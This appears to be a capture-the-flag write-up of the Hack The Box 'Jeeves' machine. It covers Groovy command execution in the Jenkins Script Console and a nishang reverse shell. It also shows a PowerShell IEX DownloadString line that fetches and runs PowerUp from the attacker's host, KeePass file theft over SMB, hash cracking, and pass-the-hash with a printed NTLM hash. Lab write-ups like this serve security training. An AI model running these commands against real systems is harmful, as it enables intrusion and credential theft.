HTB Write-up Jeeves (Windows)
There are two ways to do prev-esc on this one.
Keypass
Nmap result:
80:
50000
Let's do gobuster on both ports.
I found /askjeeves on port 50000
visiting the directory, I got into the Jenkin's dashboard.
With the Jenkin's dashboard, we can run scripts through Script Console in "Manage Jenkins" that lets you run Groovy script
try: cmd ="whoami" println cmd.execute().text
it worked!
Let's grab a ps1 powershell from nishang.
make a new file for this particular box and copy & paste the example execution code at the bottom and modify IP
Run the python http server.
Now I got the user shell.
Privesc Method 1
use the powerup script in Powersploit/Privesc/
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.131/PowerUp.ps1')
and to execute it,
run "Invoke-AllChecks"
Didn't find much here.
Let's keep enumerating.
We found a keydatabase file.
Let's get the file by creating a smb server on our kali machine!
you need to have a directory with the name specified.
Now on the victim's machine, run
New-PSDrive -Name "yatta" -PSProvider "FileSystem" -root "\\10.10.14.131\unchiman"
The box is very unstable and lost connections over and over.
once we have the keeppass file transfered over, we can to keepass2john CEH.kdbx to get the hash and crack it with hashcat.
password is moonshine1
performed keepass2john for hash
hashcat it .
moonshine1
Download Keepass
sudo apt-get install keepassxc
got in.
in the backup file, I found NTLM hash.
Can we pass-the-hash it?
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
winexe -U jenkins/administrator //10.129.1.109 cmd.exe
this didn't workout
tried pth-winexe -U jenkins/administrator //10.129.1.109 cmd.exe and worked!
hm.txt has a root flag but its data stream is hidden.
dir /r will show hidden data streams(reference: https://www.lifewire.com/dir-command-4050018#:~:text=Dir%20Command%20Options%20%20%20%20Item%20,the%20thousa%20...%20%2013%20more%20rows%20)
more < hm.txt:root.txt:$DATA will unhidden it. or
powershell(Get-Content hm.txt -Stream root.txt) works as well.
Last updated